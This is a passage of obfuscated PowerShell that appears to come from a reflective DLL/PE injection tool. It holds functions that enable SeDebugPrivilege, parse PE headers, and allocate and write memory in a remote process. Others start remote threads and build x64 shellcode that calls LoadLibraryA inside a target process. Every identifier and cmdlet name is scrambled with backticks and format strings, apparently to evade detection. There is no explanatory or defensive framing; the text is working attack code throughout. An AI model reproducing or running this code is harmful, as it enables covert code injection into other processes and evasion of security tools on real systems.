[BitConverter]::"tOin`T64"(${FIN`A`lBy`TEs}, 0) } Function C`om`pARe-VAL`1GREa`TeRT`hAnVAl2aS`UInt { Param( [Parameter(pOSiTion = 0, MaNDATory = ${TR`UE})] [Int64] ${va`Lue1}, [Parameter(pOSiTiON = 1, MAnDaTory = ${t`RUE})] [Int64] ${Va`lu`e2} ) [Byte[]]${VAlUe1`B`YtEs} = [BitConverter]::"g`e`TBytes"(${VAL`UE1}) [Byte[]]${vA`lue2b`yT`Es} = [BitConverter]::"geT`B`YtEs"(${vA`L`UE2}) if (${V`ALuE1b`Y`TEs}."c`OUNt" -eq ${ValUE2b`y`TeS}."c`OunT") { for (${i} = ${valUE`1`B`YteS}."C`OuNt"-1; ${i} -ge 0; ${I}--) { if (${VAL`U`e1ByT`eS}[${I}] -gt ${v`ALUE`2BYTes}[${i}]) { return ${Tr`UE} } elseif (${va`L`UE1bYtEs}[${i}] -lt ${V`A`lUe2BYt`eS}[${I}]) { return ${FaL`sE} } } } else { Throw "" } return ${f`ALse} } Function conveR`T-`UiNtT`oiNT { Param( [Parameter(pOSItion = 0, mAndAToRY = ${tR`UE})] [UInt64] ${VA`LUE} ) [Byte[]]${value`B`y`Tes} = [BitConverter]::"ge`T`Bytes"(${vA`L`UE}) return ([BitConverter]::"Toi`NT64"(${vaLu`eBy`TEs}, 0)) } Function Get-h`Ex { Param( [Parameter(PoSITION = 0, maNDatORy = ${tr`Ue})] ${v`AlUe} ) ${va`lU`esize} = [System.Runtime.InteropServices.Marshal]::"si`z`eOF"([Type]${V`AlUE}."G`ettyPE"()) * 2 ${H`EX} = "0x{0:X$($ValueSize)}" -f [Int64]${v`AluE} return ${h`EX} } Function tE`sT-M`EmoRYr`ANG`EvaliD { Param( [Parameter(PosITIOn = 0, mandaToRY = ${tr`Ue})] [String] ${d`eBugsTRi`NG}, [Parameter(PoSITioN = 1, mandatorY = ${T`RuE})] [System.Object] ${p`EI`NfO}, [Parameter(pOsitIon = 2, mandAtOrY = ${tr`Ue})] [IntPtr] ${sT`ARtad`DrESS}, [Parameter(pArAMetERsEtnAme = "Size", pOsItiON = 3, manDatORY = ${tr`UE})] [IntPtr] ${Si`zE} ) [IntPtr]${fI`NA`lE`NDA`DDrESS} = [IntPtr](&("{6}{2}{4}{1}{5}{0}{3}" -f's','ignedI','d','igned','-S','ntAsUn','Ad') (${St`ARtA`Ddr`e`sS}) (${sI`ZE})) ${p`een`dAdD`REsS} = ${pE`inFo}."e`N`daD`dReSs" if ((&("{4}{3}{0}{1}{5}{6}{2}"-f'a','terThanVa','t','1Gre','Compare-Val','l2','AsUIn') (${p`eiNFO}."p`ehAndle") (${STAr`Tadd`R`ESS})) -eq ${t`RUe}) { Throw "" } if ((&("{0}{3}{7}{5}{2}{1}{4}{6}"-f 'Compa','n','ha','re','V','terT','al2AsUInt','-Val1Grea') (${fin`AlenDA`d`DREsS}) (${pe`EnD`A`dDRess})) -eq ${TR`Ue}) { Throw "" } } Function wr`ItE`-Byte`S`T`omE`MOrY { Param( [Parameter(PoSition=0, mAndAtoRy = ${t`RUE})] [Byte[]] ${b`yT`ES}, [Parameter(pOsItion=1, mANdaTORY = ${tr`Ue})] [IntPtr] ${meMORy`Addre`ss} ) for (${OF`Fset} = 0; ${oF`F`set} -lt ${bY`TES}."LEnG`Th"; ${ofFs`Et}++) { [System.Runtime.InteropServices.Marshal]::"w`RItEbY`TE"(${MeMoryadD`R`E`Ss}, ${O`F`Fset}, ${BYt`es}[${o`FF`Set}]) } } Function GeT-DE`lEGATE`T`yPE { Param ( [OutputType([Type])] [Parameter( POsITION = 0)] [Type[]] ${pA`R`AMETerS} = (&('a') ("{1}{0}{2}" -f'pe[','Ty',']')(0)), [Parameter( positiON = 1 )] [Type] ${rET`Ur`Nty`PE} = [Void] ) ${d`oM`AIn} = [AppDomain]::"curRentD`oMA`in" ${DYNAs`SE`Mbly} = &('a') ("{5}{6}{1}{8}{2}{7}{3}{4}{0}" -f 'e','tem.R','flection.A','sembl','yNam','S','ys','s','e')('ReflectedDelegate') ${AsSE`m`BLYbUiL`D`ER} = ${doM`A`IN}."d`efinedYNAmIc`AS`S`EMB`Ly"(${DY`N`Asse`mBlY}, [System.Reflection.Emit.AssemblyBuilderAccess]::"r`UN") ${mODULe`B`U`IlDEr} = ${A`sSe`Mbl`YbuIL`dEr}."dEfInedYNa`Mic`modu`LE"('InMemoryModule', ${faL`SE}) ${Typ`eb`U`iLDer} = ${Mod`ULEbuil`der}."de`F`I`NetYPE"('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) ${c`OnsTr`U`Ct`OrbUI`LdEr} = ${Typeb`Ui`l`der}."d`EFINe`CoNs`Tru`ctOr"('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::"ST`AnDarD", ${paR`AmeT`e`RS}) ${ConSt`Ructo`Rbuil`deR}."S`eTim`ple`mEntA`TI`oNF`Lags"('Runtime, Managed') ${m`EthodB`Uil`Der} = ${t`yPEBUIlD`eR}."DE`FIn`emE`ThOD"('Invoke', 'Public, HideBySig, NewSlot, Virtual', ${r`ETUrn`TYpe}, ${PA`Rame`T`ERs}) ${m`ETHO`d`B`UilDEr}."SEtI`MP`L`eMEntaTI`O`NflagS"('Runtime, Managed') &("{2}{0}{1}" -f'e-Outpu','t','Writ') ${tyP`EBU`ilder}."crE`ATET`Y`pe"() } Function G`ET-PrO`cAdDre`ss { Param ( [OutputType([IntPtr])] [Parameter( poSiTiON = 0, MaNDAtory = ${TR`UE} )] [String] ${mOD`U`lE}, [Parameter( pOSITiOn = 1, mANDaToRy = ${tR`UE} )] [String] ${Pr`OC`EduRe} ) ${SySTe`ma`SSeMbLY} = [AppDomain]::"c`URrEntdo`ma`iN"."Ge`TAS`SEmBlI`es"() | &("{0}{1}{2}"-f 'Wh','ere-Obje','ct') { ${_}."GLo`Bala`SSEmB`LY`Ca`c`HE" -And ${_}."lOcA`Ti`On"."S`PLiT"('\\')[-1]."EqU`Als"('System.dll') } ${U`NS`AFeNAtIveMEThO`DS} = ${S`ySteM`As`Sem`BlY}."getty`pe"('Microsoft.Win32.UnsafeNativeMethods') ${get`MODU`leh`AnD`Le} = ${u`NsA`FeNA`TivEmeThodS}."GETmEt`HoD"('GetModuleHandle') ${GetpRoc`AdDRe`ss} = ${UN`SaFenAtiv`Emet`HO`DS}."G`E`TMEthOD"('GetProcAddress', [reflection.bindingflags] "Public,Static", ${nu`ll}, [System.Reflection.CallingConventions]::"a`NY", @((&('a') ("{5}{4}{6}{2}{0}{1}{7}{3}"-f'es.H','and','rvic','f','time.Interop','System.Run','Se','leRe'))."G`eTt`yPE"(), [string]), ${Nu`lL}); ${keRN32`h`Andle} = ${GE`TM`o`duLeHaNdLe}."I`NVO`KE"(${N`ULl}, @(${Mo`dU`Le})) ${t`mpP`TR} = &('a') ("{0}{1}" -f 'IntPt','r') ${hANd`l`EReF} = &('a') ("{1}{6}{0}{7}{3}{4}{5}{2}" -f '.Inter','Sys','ndleRef','pS','ervices.H','a','tem.Runtime','o')(${Tm`PPtr}, ${Ke`Rn32`h`ANDle}) &("{0}{3}{2}{1}"-f 'Write-','ut','utp','O') ${gET`pr`OCaddR`eSS}."I`NVOkE"(${n`ULL}, @([System.Runtime.InteropServices.HandleRef]${H`AN`d`LeREF}, ${PRoc`E`dure})) } Function E`NAblE-`S`EDeBu`GPrI`VI`lEgE { Param( [Parameter(posiTION = 1, MAndAtOrY = ${tr`Ue})] [System.Object] ${W`iN32F`U`N`CTIOnS}, [Parameter(pOSITion = 2, maNDAtOrY = ${TR`Ue})] [System.Object] ${W`IN32Ty`pes}, [Parameter(PositiON = 3, MaNDaTOrY = ${Tr`UE})] [System.Object] ${WIn32`CON`sT`A`Nts} ) [IntPtr]${tH`R`EadhAN`DLE} = ${WI`N32`Funct`iONs}."Ge`TcU`RReNTt`HrE`AD"."i`NVokE"() if (${Th`REAdhAND`Le} -eq [IntPtr]::"z`eRO") { Throw "" } [IntPtr]${Thre`A`DtOken} = [IntPtr]::"zE`RO" [Bool]${rES`ULt} = ${w`IN3`2f`UN`CtionS}."OPeNThrEAdT`ok`en"."InVo`Ke"(${TH`R`EA`Dh`ANDle}, ${wIn3`2C`o`NStA`Nts}."t`okEN`_Qu`eRy" -bor ${wiN3`2`cOnst`AntS}."tokE`N`_ADJUSt_`pRIVI`L`eges", ${Fal`sE}, [Ref]${T`HrEadToK`en}) if (${ReS`U`lT} -eq ${Fa`LSe}) { ${Erro`R`Code} = [System.Runtime.InteropServices.Marshal]::"GeTLAStW`In32`E`R`Ror"() if (${ErrO`Rc`Ode} -eq ${WI`N`32COn`STaNTs}."eR`ROR_n`O_tO`k`en") { ${RE`sult} = ${W`In32FUncT`iO`Ns}."iM`PErSona`T`eselF"."in`VOKe"(3) if (${Re`S`UlT} -eq ${f`Al`Se}) { Throw "" } ${R`ESu`Lt} = ${wIN3`2F`UnCTiONS}."OpeNTH`ReAdTO`kEN"."IN`VOke"(${ThRe`Adha`NDlE}, ${W`in`32CoNSTA`NTS}."T`oken_qUE`Ry" -bor ${WIn`32co`N`StaNTS}."tO`Ke`N_AD`jUST_P`RivileGEs", ${F`A`lse}, [Ref]${T`h`ReadTO`kEN}) if (${RES`UlT} -eq ${FA`L`se}) { Throw "" } } else { Throw "" } } [IntPtr]${pL`Uid} = [System.Runtime.InteropServices.Marshal]::"aLLochgL`OB`Al"([System.Runtime.InteropServices.Marshal]::"s`izEof"([Type]${Wi`N32`T`yPes}."lU`ID")) ${r`esuLT} = ${Win32F`UnCt`IONS}."LooKUpP`R`IVIleGe`VALuE"."InV`o`Ke"(${nU`ll}, "SeDebugPrivilege", ${pLu`id}) if (${r`esu`Lt} -eq ${FaL`Se}) { Throw "" } [UInt32]${to`keN`P`R`Ivsize} = [System.Runtime.InteropServices.Marshal]::"S`IZeof"([Type]${w`IN32T`yp`Es}."TOkEn_`PrIvIlE`GES") [IntPtr]${TOke`N`PrIVIlEGe`SMEm} = [System.Runtime.InteropServices.Marshal]::"aLLo`Ch`g`LoBAL"(${tO`kEnpRi`V`SIZe}) ${t`O`KENpRiv`ILEGES} = [System.Runtime.InteropServices.Marshal]::"P`T`RtOsTru`CTURE"(${tOkE`NPRIvIle`G`Esm`Em}, [Type]${W`IN32t`YpEs}."TOK`en_`priVile`GEs") ${tO`Ken`PRIv`IlEG`Es}."PriVIl`EG`ecOunt" = 1 ${tokenP`Ri`VIl`EG`es}."pri`Vi`LE`geS"."Lu`Id" = [System.Runtime.InteropServices.Marshal]::"PtR`TOstRUctU`Re"(${P`lUiD}, [Type]${w`In32`TYpEs}."L`UiD") ${T`o`kE`N`PriVI`Leges}."PriV`IleG`Es"."aTT`Ri`BUtes" = ${wiN`32`COn`STanTS}."sE_`p`RivILEGe`_`enAb`l`ED" [System.Runtime.InteropServices.Marshal]::"sTRUC`TU`R`eT`opTR"(${tO`Kenpr`i`VileGES}, ${TO`kE`N`PrIVILegesmeM}, ${Tr`Ue}) ${R`e`SuLT} = ${WIn3`2FUNC`TIOns}."adJu`s`TToKEnPRIV`IleGEs"."I`Nv`oKe"(${T`hre`ADT`OkEn}, ${f`AL`SE}, ${toKE`Np`RiVI`LeGE`s`Mem}, ${tOKe`NPRi`VSIzE}, [IntPtr]::"z`ero", [IntPtr]::"ZE`RO") ${erR`o`Rco`de} = [System.Runtime.InteropServices.Marshal]::"gE`T`LAStW`IN32`ERRoR"() if ((${r`eSU`Lt} -eq ${fAL`SE}) -or (${ER`ROrCO`de} -ne 0)) { } [System.Runtime.InteropServices.Marshal]::"Fr`E`EHGlobal"(${tOk`e`NP`RIVIl`egeSMEm}) } Function C`REatE-`Re`mOtE`THr`EaD { Param( [Parameter(pOsITion = 1, mAndatoRy = ${TR`UE})] [IntPtr] ${PrOce`sS`hA`N`dLE}, [Parameter(pOsiTiON = 2, mANDAtorY = ${t`Rue})] [IntPtr] ${st`Arta`Ddre`Ss}, [Parameter(PosiTIon = 3, MAnDAtory = ${FAL`SE})] [IntPtr] ${a`RGuM`ENtpTR} = [IntPtr]::"ze`Ro", [Parameter(POSiTION = 4, MANDaTORY = ${tR`UE})] [System.Object] ${WIn3`2FU`NctioNs} ) [IntPtr]${ReMo`T`Et`hREadHan`dlE} = [IntPtr]::"ze`RO" ${o`sv`ERSI`On} = [Environment]::"O`Sv`ErSion"."VEr`s`iON" if ((${OSv`e`RsIon} -ge (&('a') 'Version' 6,0)) -and (${O`SVER`s`ION} -lt (&('a') 'Version' 6,2))) { ${Re`TVal}= ${w`i`N32fu`NcTioNs}."NTC`ReAtEt`HrEad`ex"."i`N`Voke"([Ref]${Re`MO`TethReAdh`AN`dLE}, 0x1FFFFF, [IntPtr]::"Ze`RO", ${PROc`eSSHan`D`LE}, ${sT`ArTAd`dreSs}, ${a`RGUMEn`T`pTR}, ${Fa`l`se}, 0, 0xffff, 0xffff, [IntPtr]::"z`erO") ${LAst`eR`R`Or} = [System.Runtime.InteropServices.Marshal]::"G`ETlAsT`win`32eR`ROr"() if (${Rem`OTetH`Rea`DHANDle} -eq [IntPtr]::"z`ERO") { Throw "" } } else { ${r`emOtethR`e`ADHA`N`DlE} = ${WiN3`2`F`Unct`ioNS}."CREATeR`EMote`THrE`AD"."IN`VOke"(${pRocEsSh`A`ND`lE}, [IntPtr]::"zE`RO", [UIntPtr][UInt64]0xFFFF, ${STar`TaDD`R`E`sS}, ${aRgu`Me`Nt`PTr}, 0, [IntPtr]::"ze`Ro") } if (${rE`m`oTeTHR`eaDh`AN`D`Le} -eq [IntPtr]::"Z`eRO") { &("{2}{1}{0}" -f 'Error','e-','Writ') "" -ErrorAction ("{1}{0}" -f'top','S') } return ${R`EmoTetHre`A`dh`ANDLe} } Function gET-IMA`GE`NTHeAd`ers { Param( [Parameter(POSItion = 0, MAnDAToRy = ${tr`UE})] [IntPtr] ${pEh`A`NDLe}, [Parameter(poSItIOn = 1, ManDatorY = ${T`RuE})] [System.Object] ${wIN`3`2tYpES} ) ${nTh`eA`dErS`Info} = &('a') ("{2}{3}{0}{1}"-f 'tem.Obje','ct','Sy','s') ${doshe`A`DeR} = [System.Runtime.InteropServices.Marshal]::"pTrTOS`T`RuCTU`RE"(${pe`H`AndlE}, [Type]${wIn32`TY`pES}."ImAGE_DOs`_H`ea`dEr") [IntPtr]${N`T`HEaD`erS`pTr} = [IntPtr](&("{6}{4}{1}{5}{0}{3}{2}" -f 'As','In','ned','Unsig','dd-Signed','t','A') ([Int64]${PEh`A`NDle}) ([Int64][UInt64]${D`OS`hEADer}."e`_Lf`ANEw")) ${N`ThEAdE`R`sIn`Fo} | &("{0}{1}{2}"-f 'A','dd-Membe','r') -MemberType ("{2}{1}{0}" -f'erty','p','NotePro') -Name ("{0}{3}{2}{1}"-f 'N','Ptr','Headers','t') -Value ${N`THE`Ad`eRspTr} ${i`MA`gEnTHeAD`Ers64} = [System.Runtime.InteropServices.Marshal]::"pTR`T`OSTRuCtUrE"(${ntHEA`DER`SPTR}, [Type]${W`in`32TYPES}."i`mA`GE_Nt_`HeaDe`RS64") if (${I`mag`ENthea`DEr`S64}."si`gnA`TU`Re" -ne 0x00004550) { throw "" } if (${IMag`E`NThEAD`erS64}."op`Ti`ONAlhEAD`eR"."m`AgiC" -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC') { ${NT`He`ADE`RSInFO} | &("{3}{1}{0}{2}"-f'-Mem','dd','ber','A') -MemberType ("{2}{0}{1}{3}"-f'ePro','p','Not','erty') -Name ("{2}{3}{4}{0}{1}" -f 'NT_H','EADERS','I','M','AGE_') -Value ${Im`A`gEn`THea`deRs64} ${nT`H`EAd`E`RsiNfO} | &("{2}{0}{1}" -f 'dd-Mem','ber','A') -MemberType ("{3}{0}{2}{1}"-f'eP','perty','ro','Not') -Name ("{0}{1}{2}" -f'PE64B','i','t') -Value ${TR`Ue} } else { ${im`AGe`NTHeaD`E`R`s32} = [System.Runtime.InteropServices.Marshal]::"PT`Rt`OSTrUct`UrE"(${NThe`AdeRSp`Tr}, [Type]${wiN`3`2tYpES}."I`MAGE_`Nt_heaDE`RS32") ${nTHEa`dERs`In`Fo} | &("{2}{1}{0}" -f 'ber','d-Mem','Ad') -MemberType ("{0}{3}{2}{1}"-f 'Note','erty','p','Pro') -Name ("{1}{0}{2}" -f 'AGE_NT_H','IM','EADERS') -Value ${i`MAgENTH`EaDER`S32} ${NThe`ADerSIN`FO} | &("{2}{1}{0}"-f 'ber','Mem','Add-') -MemberType ("{2}{3}{1}{0}" -f'ty','er','Not','eProp') -Name ("{0}{2}{1}"-f'P','64Bit','E') -Value ${Fal`SE} } return ${Nt`h`EA`dErs`iNfO} } Function g`ET-p`E`BasicIN`FO { Param( [Parameter( poSITiON = 0, MAndAtOrY = ${t`RUe} )] [Byte[]] ${P`E`BYTEs}, [Parameter(poSiTion = 1, MAndAtorY = ${TR`Ue})] [System.Object] ${w`In32`T`YpEs} ) ${Pe`i`NFo} = &('a') ("{0}{2}{1}" -f 'System.Obj','t','ec') [IntPtr]${U`NmA`NAgedPEBYt`Es} = [System.Runtime.InteropServices.Marshal]::"AllOch`GlOB`AL"(${p`eBYT`Es}."LeN`G`TH") [System.Runtime.InteropServices.Marshal]::"c`opy"(${pe`BY`Tes}, 0, ${u`NM`An`A`gEdPEByTeS}, ${pEbyt`es}."l`E`NGth") | &("{1}{0}"-f'ut-Null','O') ${n`The`ADe`RsiNfo} = &("{4}{2}{0}{1}{3}"-f 'I','mage','-','NtHeaders','Get') -PEHandle ${U`NManaGedP`eB`Y`Tes} -Win32Types ${win3`2`TyPes} ${pe`InFO} | &("{2}{0}{1}"-f'Membe','r','Add-') -MemberType ("{2}{0}{1}" -f 't','eProperty','No') -Name 'PE64Bit' -Value (${ntH`Ead`eRsinFO}."pE6`4B`iT") ${Pei`Nfo} | &("{2}{1}{0}"-f 'er','d-Memb','Ad') -MemberType ("{0}{2}{1}" -f 'No','perty','tePro') -Name 'OriginalImageBase' -Value (${N`THe`Ad`eRSINfo}."I`MAg`E_Nt`_hEAdE`Rs"."OP`T`IoN`ALHe`Ader"."I`maG`EBase") ${p`EIn`Fo} | &("{2}{1}{0}" -f 'mber','d-Me','Ad') -MemberType ("{0}{2}{3}{1}" -f 'N','roperty','ote','P') -Name 'SizeOfImage' -Value (${N`TheA`DERSI`NfO}."ImagE_nT_`hE`A`derS"."Op`TION`ALHe`A`der"."siz`EoFIm`AgE") ${p`e`INFO} | &("{0}{3}{2}{1}"-f'A','r','be','dd-Mem') -MemberType ("{1}{2}{0}" -f'erty','Note','Prop') -Name 'SizeOfHeaders' -Value (${NTHe`AdeR`si`NFO}."I`m`AGe_n`T`_HEAdErS"."oPT`IonAL`h`eA`DEr"."S`iZe`oFh`e`AdERs") ${pei`NfO} | &("{2}{0}{1}"-f'Membe','r','Add-') -MemberType ("{1}{3}{0}{2}"-f 'o','Not','perty','ePr') -Name 'DllCharacteristics' -Value (${NTH`eADe`RsI`NfO}."I`MaG`e_NT`_he`AdErS"."OpTioN`AlHE`AD`er"."Dll`CHARA`C`Te`RIs`TiCS") [System.Runtime.InteropServices.Marshal]::"fr`E`ehGLOBaL"(${u`NmaN`AGEd`P`eByTES}) return ${p`EiNFo} } Function gEt-`pEDe`T`AILedi`Nfo { Param( [Parameter( PositION = 0, ManDatORy = ${tr`UE})] [IntPtr] ${pe`H`ANDLe}, [Parameter(pOSITIOn = 1, MaNDatorY = ${t`RuE})] [System.Object] ${wI`N`32ty`pEs}, [Parameter(pOSiTIOn = 2, MandATOrY = ${T`RuE})] [System.Object] ${wIn3`2COnS`TANtS} ) if (${pE`Hand`Le} -eq ${n`ULl} -or ${Pe`haNdLE} -eq [IntPtr]::"z`ero") { throw '' } ${Pe`In`FO} = &('a') ("{0}{1}{3}{2}{4}"-f 'S','ys','m.','te','Object') ${n`ThEAD`ERSiNfo} = &("{0}{5}{2}{4}{1}{3}" -f'Get-','eade','ag','rs','eNtH','Im') -PEHandle ${PEHa`ND`lE} -Win32Types ${Wi`N32`TyP`ES} ${Pei`NFo} | &("{0}{2}{1}"-f'Add-Mem','er','b') -MemberType ("{1}{0}{3}{2}"-f 'P','Note','perty','ro') -Name ("{0}{1}{2}" -f 'PEH','and','le') -Value ${P`e`HANDle} ${pEi`Nfo} | &("{0}{1}{2}" -f 'Ad','d-','Member') -MemberType ("{0}{1}{3}{2}" -f 'Note','P','y','ropert') -Name ("{0}{1}{2}{3}"-f'IMAGE_','NT_H','EAD','ERS') -Value (${ntH`ea`d`ERSINfO}."IMAGe_N`T_`HE`A`DERS") ${pE`InfO} | &("{0}{2}{1}"-f 'Add','r','-Membe') -MemberType ("{2}{1}{0}"-f 'erty','eProp','Not') -Name ("{1}{0}{3}{2}"-f 'r','NtHeade','tr','sP') -Value (${n`T`he`AdE`RSINFO}."nT`hEaDE`R`sPTr") ${P`EI`NFO} | &("{1}{2}{0}" -f'mber','Add','-Me') -MemberType ("{2}{3}{1}{0}"-f 'perty','o','N','otePr') -Name ("{0}{1}"-f'PE64B','it') -Value (${NT`HeaD`erSin`Fo}."pE64`BiT") ${p`EI`NfO} | &("{1}{0}{2}"-f'dd-Me','A','mber') -MemberType ("{1}{0}{2}{3}" -f'op','NotePr','ert','y') -Name 'SizeOfImage' -Value (${nTHe`AdE`RS`In`Fo}."iMagE`_`Nt_Hea`D`eRs"."o`PtIonAL`HE`AdER"."SI`zeOf`iMage") if (${pe`i`NFo}."Pe64`BiT" -eq ${tR`UE}) { [IntPtr]${S`ec`TIoNHEAdER`P`Tr} = [IntPtr](&("{6}{2}{0}{3}{4}{5}{1}" -f'gn','d','dd-Si','ed','IntAsUns','igne','A') ([Int64]${p`eI`NFO}."nTh`eADER`S`Ptr") ([System.Runtime.InteropServices.Marshal]::"sI`ZEOf"([Type]${w`In3`2tYpEs}."iMAg`e_n`T_HeadE`R`s64"))) ${PEi`N`Fo} | &("{2}{0}{1}"-f '-M','ember','Add') -MemberType ("{0}{1}{2}" -f 'No','te','Property') -Name ("{0}{3}{1}{2}" -f'S','onHeaderP','tr','ecti') -Value ${sectI`OnH`eADe`R`pTr} } else { [IntPtr]${se`ctIon`hE`AdERpTr} = [IntPtr](&("{2}{3}{4}{1}{0}" -f 'd','ne','Add-Sign','edIntAs','Unsig') ([Int64]${PE`info}."n`THEadeR`s`PtR") ([System.Runtime.InteropServices.Marshal]::"sIZE`of"([Type]${WIN`32`TyPES}."imA`GE_n`T_hE`Ad`erS`32"))) ${pEI`NFo} | &("{1}{3}{0}{2}" -f'Me','Ad','mber','d-') -MemberType ("{0}{1}{2}" -f 'Not','e','Property') -Name ("{0}{1}{3}{2}" -f'Se','ction','eaderPtr','H') -Value ${SeCT`IoN`H`EAde`RP`TR} } if ((${n`Th`eA`DE`RsINFO}."IMa`ge_Nt_h`e`A`dERs"."FILE`h`eadER"."ch`ARA`C`TeRi`STICS" -band ${w`in32C`On`sTaNts}."IMAgE`_FiLe_`D`Ll") -eq ${wiN32`COns`T`AnTS}."im`Ag`e`_fILe_DLl") { ${pE`in`Fo} | &("{0}{1}{2}" -f'Add-M','em','ber') -MemberType ("{2}{1}{0}" -f'operty','Pr','Note') -Name ("{1}{0}" -f 'leType','Fi') -Value 'DLL' } elseif ((${nt`HeA`D`ERsiNFO}."iMA`g`E_n`T_HeaD`ers"."fI`leH`eADer"."ch`ARAc`T`ERistIcS" -band ${wIn32`c`O`NSTA`Nts}."imaGe_Fi`LE_`EXeC`UtaBlE_`iM`AgE") -eq ${wiN32c`o`NstAN`Ts}."iMAGE_fI`LE`_ex`e`cUTa`BlE_Im`A`gE") { ${p`e`iNfO} | &("{0}{2}{1}"-f 'Add-','r','Membe') -MemberType ("{1}{3}{0}{2}" -f't','NotePr','y','oper') -Name ("{1}{0}" -f 'ileType','F') -Value 'EXE' } else { Throw "" } return ${Pei`NFO} } Function I`Mpo`RT-dL`Li`NrEM`OtEPR`OceSs { Param( [Parameter(pOSiTION=0, manDATOry=${T`RUE})] [IntPtr] ${RE`Motepro`ChAn`dlE}, [Parameter(PoSItIOn=1, MAnDATORy=${T`RUe})] [IntPtr] ${impOrt`d`L`L`PathPtr} ) ${Ptr`SIZE} = [System.Runtime.InteropServices.Marshal]::"sizE`OF"([Type][IntPtr]) ${I`mpo`RTDlLpaTH} = [System.Runtime.InteropServices.Marshal]::"PTRtOST`RI`Ng`Ansi"(${imPO`RTD`Llpa`ThPTR}) ${dlLPa`T`HSize} = [UIntPtr][UInt64]([UInt64]${iM`po`R`TDllPa`Th}."le`NGTh" + 1) ${riMPORtDLL`p`A`THPtR} = ${Win3`2`FUNCT`i`ONs}."vIRTuA`lA`LL`oC`Ex"."Invo`ke"(${R`emotE`Pro`ChanDle}, [IntPtr]::"ZE`Ro", ${DlLpaTh`S`IZe}, ${win32c`ON`s`T`AntS}."mem_CoM`M`it" -bor ${Win32`cOnsTA`N`Ts}."mE`M_REseR`VE", ${wiN3`2c`o`NsTAnts}."pAge_RE`AdwR`ITe") if (${RImpORT`Dl`lPa`T`HP`Tr} -eq [IntPtr]::"ze`Ro") { Throw "" } [UIntPtr]${NUMbYTE`sw`RITten} = [UIntPtr]::"zE`Ro" ${S`U`CCESs} = ${wIn3`2`FUNCti`onS}."W`RiTePro`c`eSSME`M`oRY"."I`NVOKE"(${RemOTep`RO`Ch`AnDlE}, ${rIM`portdLL`PA`THPtr}, ${Im`PorTDLLp`Ath`P`TR}, ${DLLp`AThs`i`zE}, [Ref]${num`BY`TeSW`Rit`Ten}) if (${Su`cCE`ss} -eq ${Fa`l`Se}) { Throw "" } if (${DlLPA`T`hSize} -ne ${nu`mByT`EswRITTeN}) { Throw "" } ${KeR`NEL3`2H`A`Ndle} = ${wi`N32`FU`NcT`IOnS}."GeTMO`DuL`e`hAn`Dle"."inV`Oke"("kernel32.dll") ${lOA`dlibRar`y`AA`ddr} = ${Win3`2f`Un`ctiONs}."GeTpR`o`CAddR`esS"."iN`Vo`Ke"(${kEr`Nel3`2hAnDLE}, "LoadLibraryA") [IntPtr]${d`lLaDD`R`EsS} = [IntPtr]::"z`erO" if (${Pe`i`NFo}."pe64B`iT" -eq ${T`RUE}) { ${lO`ADlIBRary`ArE`Tmem} = ${w`i`N3`2f`UNctiONS}."virTUA`Lal`LOcEX"."iN`Vo`Ke"(${ReMot`eprOC`H`An`Dle}, [IntPtr]::"Z`ero", ${D`lLpATh`sI`ze}, ${w`i`N32C`oNStAntS}."mem`_cO`m`MIT" -bor ${w`i`N32C`OnsTANtS}."m`EM_`R`EServe", ${wI`N3`2c`on`stAnTS}."pAGE_R`eADW`R`itE") if (${LOadLibRarY`A`R`et`MEM} -eq [IntPtr]::"z`ERO") { Throw "" } ${LOADLi`B`RAr`ysC1} = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) ${lO`ADl`ib`RArYsc2} = @(0x48, 0xba) ${lo`AdL`iB`RaryS`c3} = @(0xff, 0xd2, 0x48, 0xba) ${lO`A`DLI`BRarySc4} = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3) ${sClE`N`GTh} = ${lo`A`DlIbRa`RySC1}."LEN`g`Th" + ${L`o`ADl`IBrarySc2}."L`e`NGTH" + ${LoA`dLiB`RAry`S`C3}."Len`GTH" + ${LOa`dlib`RAR`Ysc4}."lenG`TH" + (${P`TrSiZE} * 3) ${scPS`mEm} = [System.Runtime.InteropServices.Marshal]::"aLLo`Ch`gLO`BAL"(${sC`L`e`NGth}) ${SC`p`sMe`mOrigiN`AL} = ${scpS`MEM} &("{5}{0}{3}{2}{1}{4}" -f'rite','Mem','BytesTo','-','ory','W') -Bytes ${LOaDLI`B`RaRYs`c1} -MemoryAddress ${SC`pSM`Em} ${s`CPS`meM} = &("{3}{4}{0}{2}{1}"-f 'Si','ned','gnedIntAsUnsig','Ad','d-') ${s`CP`SmEm} (${lO`AD`l`iBrARysC1}."L`e`NGtH") [System.Runtime.InteropServices.Marshal]::"sT`RUc`TU`REtop`TR"(${rI`mPORTD`LlP`A`ThPTR}, ${S`c`PSmeM}, ${fa`lSE}) ${s`cp`smEm} = &("{2}{0}{3}{1}"-f'Uns','gned','Add-SignedIntAs','i') ${sC`P`SmEm} (${pT`R`SIZE}) &("{2}{0}{3}{4}{1}" -f 'BytesToMe','y','Write-','m','or') -Bytes ${LO`ADLIBr`ARYSC2} -MemoryAddress ${sc`Ps`MEm} ${sCpS`m`Em} = &("{0}{1}{4}{5}{2}{3}"-f 'Add-','Si','dIntAsUnsigne','d','gn','e') ${s`cp`smeM} (${L`OaDL`Ibra`R`YSC2}."L`engTH") [System.Runtime.InteropServices.Marshal]::"st`RU`Ctu`REtOPTr"(${lOaDlI`B`RA`RY`A`ADdR}, ${s`C`psMEM}, ${F`Alse}) ${SC`PSm`em} = &("{3}{4}{1}{2}{5}{0}"-f 'gned','Si','gnedIntAsU','Add','-','nsi') ${SCP`sm`Em} (${P`T`RSIZe}) &("{2}{5}{4}{1}{0}{3}"-f'BytesToMem','e-','W','ory','t','ri') -Bytes ${loaDlib`R`Ary`Sc3} -MemoryAddress ${S`CPSm`EM} ${ScPsm`em} = &("{1}{4}{2}{0}{3}"-f 'ns','A','gnedIntAsU','igned','dd-Si') ${SC`P`sMEm} (${loa`DliBr`A`R`YsC3}."l`EN`gTH") [System.Runtime.InteropServices.Marshal]::"sTRuctuRe`T`o`ptr"(${L`oad`L`ibR`ArY`AR`eTmEm}, ${scP`sMEM}, ${fAl`se}) ${s`cpsmem} = &("{3}{4}{1}{2}{0}"-f'Unsigned','I','ntAs','Add-Sig','ned') ${ScP`sM`em} 